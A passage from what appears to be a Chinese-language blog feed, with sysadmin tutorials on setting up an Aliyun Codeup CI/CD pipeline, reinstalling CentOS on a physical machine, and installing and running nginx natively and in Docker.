class="line"></span><br><span class="line">        <span class="comment"># deny access to .htaccess files, if Apache&#x27;s document root</span></span><br><span class="line">        <span class="comment"># concurs with nginx&#x27;s one</span></span><br><span class="line">        <span class="comment">#</span></span><br><span class="line">        <span class="comment">#location ~ /\.ht &#123;</span></span><br><span class="line">        <span class="comment"># deny all;</span></span><br><span class="line">        <span class="comment">#&#125;</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment"># another virtual host using mix of IP-, name-, and port-based configuration</span></span><br><span class="line">    <span class="comment">#</span></span><br><span class="line">    <span class="comment">#server &#123;</span></span><br><span class="line">    <span class="comment"># listen 8000;</span></span><br><span class="line">    <span class="comment"># listen somename:8080;</span></span><br><span class="line">    <span class="comment"># server_name somename alias another.alias;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># location / &#123;</span></span><br><span class="line">    <span class="comment"># root html;</span></span><br><span class="line">    <span class="comment"># index index.html index.htm;</span></span><br><span class="line">    <span class="comment"># &#125;</span></span><br><span class="line">    <span class="comment">#&#125;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># HTTPS server</span></span><br><span class="line">    <span class="comment">#</span></span><br><span class="line">    <span class="comment">#server &#123;</span></span><br><span class="line">    <span class="comment"># listen 443 ssl;</span></span><br><span class="line">    <span class="comment"># server_name localhost;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># ssl_certificate cert.pem;</span></span><br><span class="line">    <span class="comment"># ssl_certificate_key cert.key;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># ssl_session_cache shared:SSL:1m;</span></span><br><span class="line">    <span class="comment"># ssl_session_timeout 5m;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># ssl_ciphers HIGH:!aNULL:!MD5;</span></span><br><span class="line">    <span class="comment"># ssl_prefer_server_ciphers on;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># location / &#123;</span></span><br><span class="line">    <span class="comment"># root html;</span></span><br><span class="line">    <span class="comment"># index index.html index.htm;</span></span><br><span class="line">    <span class="comment"># &#125;</span></span><br><span class="line">    <span class="comment">#&#125;</span></span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;何为反向代理？&lt;/p&gt;
&lt;p&gt;在介绍反向代理之前，先来了解一下正向代理。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;正向代理&lt;/strong&gt;：如果把局域网外的 Internet 想象成一个巨大的资源库，则局域网中的客户端要访问 Internet，则需要通过代理服务器来访问，这种代理服</summary>
      
    
    
    
    <category term="nginx" scheme="https://blog.allbs.cn/categories/nginx/"/>
    
    
    <category term="nginx" scheme="https://blog.allbs.cn/tags/nginx/"/>
    
    <category term="web服务器" scheme="https://blog.allbs.cn/tags/web%E6%9C%8D%E5%8A%A1%E5%99%A8/"/>
    
  </entry>
  
  <entry>
    <title>阿里云codeup的CI/CD工具</title>
    <link href="https://blog.allbs.cn/posts/2378/"/>
    <id>https://blog.allbs.cn/posts/2378/</id>
    <published>2022-01-01T01:00:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<h2 id="一-后端发布（以springboot项目为例）">一.后端发布（以springboot项目为例）</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/04/a630f69dc8317c1d607388e201f64b0b.png" alt="Img"></p><h3 id="1-新建流水线">1.新建流水线</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/04/0596ef9dda64cee562ac6c633542710d.png" alt="Img"></p><h3 id="2-选择模板">2.选择模板</h3><p>根据不同开发环境选择不同模板，或者直接选择空白模板。</p><h3 id="3-选择代码源">3.选择代码源</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/04/e16cb129bbd3950692d56c6b35620f4c.png" alt="image-20220411111054920"></p><p>选择需要自动化发布的代码仓库和默认分支。</p><h3 id="4-代码规约扫描及单元测试">4.代码规约扫描及单元测试</h3><h4 id="1-代码规约扫描">1.代码规约扫描</h4><p>静态扫描-&gt;java代码规约扫描</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/04/1305818b96b58406f8b998bd7c502bf0.png" alt="image-20220411113812868"></p><h4 id="2-maven单元测试">2.maven单元测试</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mvn -B test -Dmaven.test.failure.ignore=true</span><br><span class="line">mvn surefire-report:report-only</span><br><span class="line">mvn site -DgenerateReports=false</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/04/63addced6ed459084698bb5e2e2ee1d0.png" alt="image-20220411113859795"></p><h4 id="3-运行日志及结果">3.运行日志及结果</h4><p>点击即可查看运行结果</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/04/c16fb8b49efc67401f978a3fd44c875a.png" alt="image-20220411114048835"></p><h3 id="5-java构建上传">5.java构建上传</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/04/7dbf9ca675a830c60b5300fb3eaf5273.png" alt="image-20220411111505240"></p><p>添加步骤</p><h4 id="1-java构建">1.java构建</h4><p>选择JDK版本、maven版本，配置构建命令。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mvn -B clean package -Dmaven.test.skip=true -Dautoconfig.skip</span><br></pre></td></tr></table></figure><h4 id="2-构建物上传">2.构建物上传</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/04/657a057e85191c58838a36ba07cba574.png" alt="image-20220411114126924"></p><p>打包路径即为target/打包名称</p><p>打包名称为pom.xml中<build><finalName>打包名称</finalName></build></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/04/f159bf44af478557c707b6ec76d23be4.png" alt="image-20220411115231993"></p><h3 id="6-主机部署">6.主机部署</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/04/64ae3bd1a92253c16c7b470e21d32e7c.png" alt="image-20220411115312131"></p><ul><li><p>制品为Java构建上传成功生成的制品</p></li><li><p>发布主机通过agent部署在内/外网主机上</p></li><li><p>新建主机——&gt;自有主机</p></li></ul><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/04/89c927c2c24ddd78b4624f3c825c9b50.png" alt="image-20220411115553198"></p><ul><li>复制命令在需要部署的主机上执行，agent安装成功后主机会显示在注解列表中</li></ul><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/04/079870d4fecaebfa605b76aa70264d12.png" alt="image-20220411133244584"></p><ul><li><p>下载路径配置(即待部署的主机上的文件路径)</p></li><li><p>部署脚本配置</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">tar zxvf /home/allbs/test/package.tgz -C /home/allbs/test/</span><br><span class="line">cd /home/allbs/test</span><br><span class="line">kill -9 $(netstat -tlnp | grep :8888 | awk &#x27;&#123;print $7&#125;&#x27; | awk -F &#x27;/&#x27; &#x27;&#123;print $1&#125;&#x27;)</span><br><span class="line">java -jar -Dspring.profiles.active=prod test-0.0.1-SNAPSHOT-SNAPSHOT.jar 2&gt;&amp;1 &amp;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/04/804369b31fec35a2ef5a7f8d5a186bca.png" alt="image-20220411120107505"></p></li></ul><h3 id="7-流水线运行">7.流水线运行</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/04/acc94801c42eb5c1670221f4e7586c7a.png" alt="image-20220411130431394"></p><h2 id="二-发布前端静态资源">二.发布前端静态资源</h2><h3 id="1-配置流水线源（同后端）">1.配置流水线源（同后端）</h3><h3 id="2-主机部署">2.主机部署</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/04/909baf0389937313d6d0abac9ab34a4b.png" alt="image-20220411131127118"></p><ul><li><p>部署时下载制品取消选中</p></li><li><p>制品选择为空</p></li><li><p>主机组为发布的内/外网服务器(添加服务器方式同后端部分)</p></li><li><p>下载路径为服务器上静态资源配置路径(即配置在nginx中发布的路径)</p></li></ul><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">echo $&#123;GIT_REPO&#125;</span><br><span class="line">echo $&#123;GIT_BRANCH&#125;</span><br><span class="line">echo $&#123;COMMIT_ID&#125;</span><br><span class="line">cd /home/allbsweb</span><br><span class="line">git fetch --all &amp;&amp; git reset --hard origin/$&#123;GIT_BRANCH&#125; &amp;&amp; git pull</span><br></pre></td></tr></table></figure><h3 id="3-修改静态资源配置文件内容">3.修改静态资源配置文件内容</h3><p>可通过新增一个主机部署任务，使用其自带的【部署脚本】 sed命令 来修改配置文件</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">// 进入服务器上静态资源目录</span><br><span class="line">cd /home/allbsweb</span><br><span class="line">// 删除共通js中20到94行的内容</span><br><span class="line">sed -i &#x27;20,94d&#x27; common.js</span><br><span class="line">// 在第19行后添加内容为&quot;var tt = &quot;1234&quot;;&quot;,如果需要有引号包裹请使用双引号</span><br><span class="line">sed -i &#x27;19a var tt = &quot;1234&quot;;&#x27; common.js</span><br></pre></td></tr></table></figure><h3 id="4-npm打包">4.npm打包</h3><p>打包方式同修改静态资源文件的步骤</p><p>【新的任务】-&gt;【选择任务组-&gt;【主机部署】在部署脚本中执行自己所需执行的命令即可</p><h2 id="三-其他">三.其他</h2><h3 id="1-前提">1.前提</h3><p>服务器运行服务需要提前配置好所需环境，如jdk环境、node、git等</p><p>静态资源发布时通过git拉取时需要提前让服务器记住git账号密码。</p><h3 id="2-git账号密码记住">2.git账号密码记住</h3><ul><li>1.进入根目录，指令：cd /</li><li>2.创建记录账号密码的文件，指令：touch .git-credentials</li><li>3.用vi打开文件，指令：vi .git-credentials</li><li>4.按i，进入编辑模式</li><li>5.输入<a href="https://%7Busername%7D:%7Bpassword%7D@github.com">https://{username}:{password}@github.com</a>，其中，将{username}替换为你的账号，{password}替换为你的密码，这俩可以随便输入，但是后续的仓库地址必须准确</li><li>6.按Esc键，然后按:wq，保存并退出</li><li>7.让git读取刚才建立的文件，指令：git config --global credential.helper store</li><li>8.执行一次git操作，比如git clone xxxxxx，然后输入账号密码，这次账号密码将会被记录下来，以后不用再输入了</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;一-后端发布（以springboot项目为例）&quot;&gt;一.后端发布（以springboot项目为例）&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://nas.allbs.cn:8888/cloudpic/2022/04/a630f69dc8317c1d607388</summary>
      
    
    
    
    <category term="linux" scheme="https://blog.allbs.cn/categories/linux/"/>
    
    
    <category term="阿里云" scheme="https://blog.allbs.cn/tags/%E9%98%BF%E9%87%8C%E4%BA%91/"/>
    
    <category term="codeup" scheme="https://blog.allbs.cn/tags/codeup/"/>
    
    <category term="flow" scheme="https://blog.allbs.cn/tags/flow/"/>
    
    <category term="流水线" scheme="https://blog.allbs.cn/tags/%E6%B5%81%E6%B0%B4%E7%BA%BF/"/>
    
    <category term="CI/CD" scheme="https://blog.allbs.cn/tags/CI-CD/"/>
    
  </entry>
  
  <entry>
    <title>物理机器重装为CenterOS系统</title>
    <link href="https://blog.allbs.cn/posts/19960/"/>
    <id>https://blog.allbs.cn/posts/19960/</id>
    <published>2022-01-01T01:00:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<p>物理机器重装为CenterOS系统流程及踩坑</p><span id="more"></span><h4 id="1-bios-设置">1.bios 设置</h4><p>重启电脑按F2 或者F12 进去bios系统<br>将bios中<code>Secure Boot</code> 的<code>Enable</code> 勾选去除，否则会影响网卡配置等功能<br>修改硬盘模式将SATA Operation 的<code>ATA</code> 修改为<code>AHCI</code> 模式，否则centeros安装时无法读取本地硬盘<br>设置<code>Boot Sequence</code> 中USB选项调整到第一行<br>系统——&gt;安装位置 中将所有硬盘删除并回收空间。</p><h4 id="2-重启机器">2.重启机器</h4><p>重启并安装centeros，如果需要使用桌面模式需要在 软件-&gt;软件安装 中勾选相关的插件安装。</p><h4 id="3-挂载硬盘">3.挂载硬盘</h4><h5 id="3-1-查看所有硬盘">3.1 查看所有硬盘</h5><p><code>fdisk -l</code></p><h5 id="3-2-格式化硬盘">3.2 格式化硬盘</h5><p><code>mkfs.ext4 /dev/sda</code></p><h5 id="3-3-执行硬盘挂载">3.3 执行硬盘挂载</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">#mount 需要挂载的硬盘名称 需要挂载的位置</span><br><span class="line">mount /dev/sda /mnt/data/</span><br></pre></td></tr></table></figure><h5 id="3-4-设置开机自动挂载">3.4 设置开机自动挂载</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/fstab</span><br><span class="line">//打开后，在最后一行加入以下代码：</span><br><span class="line">/dev/sda /mnt/data ext4 defaults 0 1</span><br></pre></td></tr></table></figure><h4 id="4-配置网卡驱动">4.配置网卡驱动</h4><p>centeros安装完成之后很可能没有网卡驱动(使用无线网卡网上下一个或者使用格式为exFAT格式的u盘拷贝一个进去)</p><h5 id="4-1-查看网卡型号">4.1 查看网卡型号</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">lspci | grep -i ethernet</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/04/abb4d5e6c3cc53872a697ef3afb88879.png" alt="image"></p><h5 id="4-2-下载网卡驱动">4.2 下载网卡驱动</h5><p><a href="https://downloadcenter.intel.com/zh-cn/download/15817?_ga=1.159975677.114505945.1484457019">点击下载网卡驱动</a></p><h5 id="4-3-安装网卡驱动">4.3 安装网卡驱动</h5><p>通过u盘拷贝至centeros机器上，u盘可以在centeros 的图形化界面上将u盘格式化为ext格式，在centeros和windows中都能识别，也可以避免centeros没有网络无法下载的问题</p><h5 id="4-4-解压网卡驱动并安装">4.4 解压网卡驱动并安装</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">tar -zxf e1000e-xxx.tar.gz</span><br><span class="line">进入网卡驱动解压包中的src目录</span><br><span class="line">make  # 编译驱动器源码</span><br><span class="line">make install # 安装驱动器相关程序</span><br><span class="line"># 把e1000e.ko文件拷贝到目录/lib/modules/3.10.0-693.el7.x86_64/updates/drivers/net下</span><br><span class="line"># 加载驱动程序</span><br><span class="line">depmod -a</span><br><span class="line"># 测试驱动程序，没报错说明正确</span><br><span class="line">modprobe e1000e</span><br><span class="line"># 查看是否已经加载</span><br><span class="line">lsmod</span><br><span class="line"># 重启网络服务</span><br><span class="line">service network restart</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;物理机器重装为CenterOS系统流程及踩坑&lt;/p&gt;</summary>
    
    
    
    <category term="linux" scheme="https://blog.allbs.cn/categories/linux/"/>
    
    
    <category term="linux" scheme="https://blog.allbs.cn/tags/linux/"/>
    
    <category term="centerOS" scheme="https://blog.allbs.cn/tags/centerOS/"/>
    
  </entry>
  
  <entry>
    <title>在CenterOS中安装nginx</title>
    <link href="https://blog.allbs.cn/posts/6364/"/>
    <id>https://blog.allbs.cn/posts/6364/</id>
    <published>2021-11-27T10:23:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<h3 id="直接安装">直接安装</h3><h4 id="安装依赖包">安装依赖包</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">一键安装上面四个依赖</span></span><br><span class="line">yum -y install gcc zlib zlib-devel pcre-devel openssl openssl-devel</span><br></pre></td></tr></table></figure><h4 id="下载并解压安装包">下载并解压安装包</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">创建一个文件夹</span></span><br><span class="line">cd /usr/local</span><br><span class="line">mkdir nginx</span><br><span class="line">cd nginx</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">下载tar包</span></span><br><span class="line">wget http://nginx.org/download/nginx-1.25.3.tar.gz</span><br><span class="line">tar -xvf nginx-1.25.3.tar.gz</span><br></pre></td></tr></table></figure><h4 id="安装nginx">安装nginx</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">进入nginx目录</span></span><br><span class="line">cd /usr/local/nginx/nginx-1.25.3</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">执行默认安装命令</span></span><br><span class="line">./configure</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">或者可以增加插件安装</span></span><br><span class="line">./configure --prefix=/usr/local/nginx --with-http_stub_status_module --with-http_ssl_module --with-http_v2_module</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">执行make命令</span></span><br><span class="line">make</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">覆盖安装执行make install命令</span></span><br><span class="line">make install</span><br></pre></td></tr></table></figure><h4 id="配置nginx-conf">配置nginx.conf</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 打开并修改配置文件</span><br><span class="line">vi /usr/local/nginx/conf/nginx.conf</span><br></pre></td></tr></table></figure><h4 id="启动nginx">启动nginx</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf</span><br></pre></td></tr></table></figure><h4 id="查看nginx进程">查看nginx进程</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ps -ef | grep nginx</span><br></pre></td></tr></table></figure><h4 id="端口开放">端口开放</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">服务器在防火墙中将nginx映射端口打开</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">云服务器在安全组中将nginx映射端口配置</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">服务器端口放开</span></span><br><span class="line">firewall-cmd --zone=public --add-port=端口/tcp --permanent</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">重启防火墙</span></span><br><span class="line">firewall-cmd --reload</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">防火墙放开端口列表</span></span><br><span class="line">firewall-cmd --zone=public --list-ports</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">tcp端口</span></span><br><span class="line">iptables -A INPUT -p tcp -m tcp --dport 要开放的端口 -j ACCEPT</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">udp端口</span></span><br><span class="line">iptables -A INPUT -p udp -m udp --dport 要开放的端口 -j ACCEPT</span><br><span class="line"></span><br><span class="line">service iptables start</span><br><span class="line">service iptables restart</span><br></pre></td></tr></table></figure><h4 id="常用命令">常用命令</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">进入安装目录中，</span></span><br><span class="line">cd /usr/local/nginx/sbin</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">启动</span></span><br><span class="line">./nginx -s start</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">关闭</span></span><br><span class="line">./nginx -s stop </span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">重启</span></span><br><span class="line">./nginx -s reload </span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="启动报错">启动报错</h4><h5 id="No-such-file-or-directory">No such file or directory</h5><blockquote><p>nginx: [error] open() “/usr/local/nginx/logs/nginx.pid” failed (2: No such file or directory)</p></blockquote><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">解决办法:使用nginx -c的参数指定nginx.conf文件的位置</span></span><br><span class="line">/usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf</span><br></pre></td></tr></table></figure><h5 id="No-such-process">No such process</h5><blockquote><p>nginx 启动报错nginx: [alert] kill(15368, 1) failed (3: No such process)</p></blockquote><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/52673c6753f731bffead1363b2cad457.png" alt="image"></p><h4 id="设置开机自启">设置开机自启</h4><h5 id="创建nginx-service-文件">创建nginx.service 文件</h5><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vi /lib/systemd/system/nginx.service</span><br></pre></td></tr></table></figure><h5 id="nginx-service内容配置">nginx.service内容配置</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">[Unit]</span><br><span class="line">Description=nginx</span><br><span class="line">After=network.target</span><br><span class="line">  </span><br><span class="line">[Service]</span><br><span class="line">Type=forking</span><br><span class="line">ExecStart=/usr/local/nginx/sbin/nginx -c  /usr/local/nginx/conf/nginx.conf</span><br><span class="line">ExecReload=/usr/local/nginx/sbin/nginx -s reload</span><br><span class="line">ExecStop=/usr/local/nginx/sbin/nginx -s quit</span><br><span class="line">PrivateTmp=true</span><br><span class="line">  </span><br><span class="line">[Install]</span><br><span class="line">WantedBy=multi-user.target</span><br></pre></td></tr></table></figure><h5 id="nginx注册系统服务后相关指令">nginx注册系统服务后相关指令</h5><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">启动nginx</span></span><br><span class="line">systemctl start nginx.service</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">设置开机自启动</span></span><br><span class="line">systemctl enable nginx.service</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">停止开机自启动</span></span><br><span class="line">systemctl disable nginx.service</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">查看服务当前状态</span></span><br><span class="line">systemctl status nginx.service</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">重新启动服务</span></span><br><span class="line">systemctl restart nginx.service</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">查看所有已启动的服务</span></span><br><span class="line">systemctl list-units --type=service</span><br></pre></td></tr></table></figure><h4 id="文件上传限制-设置nginx-conf">文件上传限制,设置nginx.conf</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 比如上传限制为100兆</span><br><span class="line">client_max_body_size 100m;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/07/1a8b9ce5781c49c8d71cc5cc76fd7909.png" alt=""></p><p>开启ssl模块</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">./configure --prefix=/usr/local/nginx --with-http_stub_status_module --with-http_ssl_module</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">替换</span></span><br><span class="line">cp ./objs/nginx /usr/local/nginx/sbin/</span><br></pre></td></tr></table></figure><h3 id="使用docker">使用docker</h3><h4 id="从Docker-Hub拉取最新的Nginx镜像">从Docker Hub拉取最新的Nginx镜像</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker pull nginx</span><br></pre></td></tr></table></figure><h4 id="运行Nginx容器，并将其暴露在端口80上。您可以根据需要将它映射到其他端口。在这个例子中，我们将宿主机的80端口映射到容器的80端口">运行Nginx容器，并将其暴露在端口80上。您可以根据需要将它映射到其他端口。在这个例子中，我们将宿主机的80端口映射到容器的80端口</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run --name my-nginx -p 80:80 -p 443:443 -d nginx</span><br></pre></td></tr></table></figure><p><code>--name</code> 选项为容器命名，以便将来可以方便地引用它。您可以选择一个不同的名称。</p><p><code>-p</code> 选项用于指定端口映射。格式为 <code>宿主机端口:容器端口</code>。</p><p><code>-d</code> 选项让容器在后台运行。</p><h4 id="通过访问-http-your-server-ip-或者-http-localhost（如果您在本地运行）来验证Nginx是否已成功运行。您应该看到Nginx的默认欢迎页面。">通过访问 <code>http://your-server-ip</code> 或者 <code>http://localhost</code>（如果您在本地运行）来验证Nginx是否已成功运行。您应该看到Nginx的默认欢迎页面。</h4><h4 id="若要停止并删除Nginx容器，请运行以下命令">若要停止并删除Nginx容器，请运行以下命令</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">docker stop my-nginx</span><br><span class="line">docker rm my-nginx</span><br></pre></td></tr></table></figure><h4 id="如果您需要对Nginx进行配置或添加自定义内容，请使用卷（volume）或绑定挂载（bind-mount）将宿主机的配置文件或内容目录映射到容器内。">如果您需要对Nginx进行配置或添加自定义内容，请使用卷（volume）或绑定挂载（bind mount）将宿主机的配置文件或内容目录映射到容器内。</h4><p>假设您正在运行一个Nginx容器，您希望将宿主机上的一个目录（<code>/home/user/www</code>）作为Nginx容器内的Web内容根目录（<code>/usr/share/nginx/html</code>），您可以执行以下命令：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">docker run -v /path/to/your/host-directory-1:/path/in/container-1 \</span><br><span class="line">           -v /path/to/your/host-directory-2:/path/in/container-2 \</span><br><span class="line">           your-image</span><br></pre></td></tr></table></figure><p>现在，容器中的<code>/usr/share/nginx/html</code>目录将映射到宿主机上的<code>/home/user/www</code>目录，您可以直接在宿主机上对Web内容进行编辑，这些更改将立即反映在容器内。</p><p>请注意，绑定挂载的路径必须是绝对路径。另外，在使用绑定挂载时，您需要确保容器中的目录或文件已存在，否则Docker将在宿主机上创建一个新的目录或文件。</p><h4 id="使用宿主机内的配置文件（-v中冒号前是宿主机配置文件，后面是docker中的）">使用宿主机内的配置文件（-v中冒号前是宿主机配置文件，后面是docker中的）</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">docker run --name my-nginx \</span><br><span class="line">  -p 80:80 \</span><br><span class="line">  -p 443:443 \</span><br><span class="line">  -v /home/user/custom-nginx.conf:/etc/nginx/nginx.conf \</span><br><span class="line">  -d nginx</span><br></pre></td></tr></table></figure><h4 id="重新加载">重新加载</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">docker exec my-nginx nginx -s reload</span><br><span class="line"># 或者</span><br><span class="line">docker restart my-nginx</span><br></pre></td></tr></table></figure><h4 id="最后启动合并示例">最后启动合并示例</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span 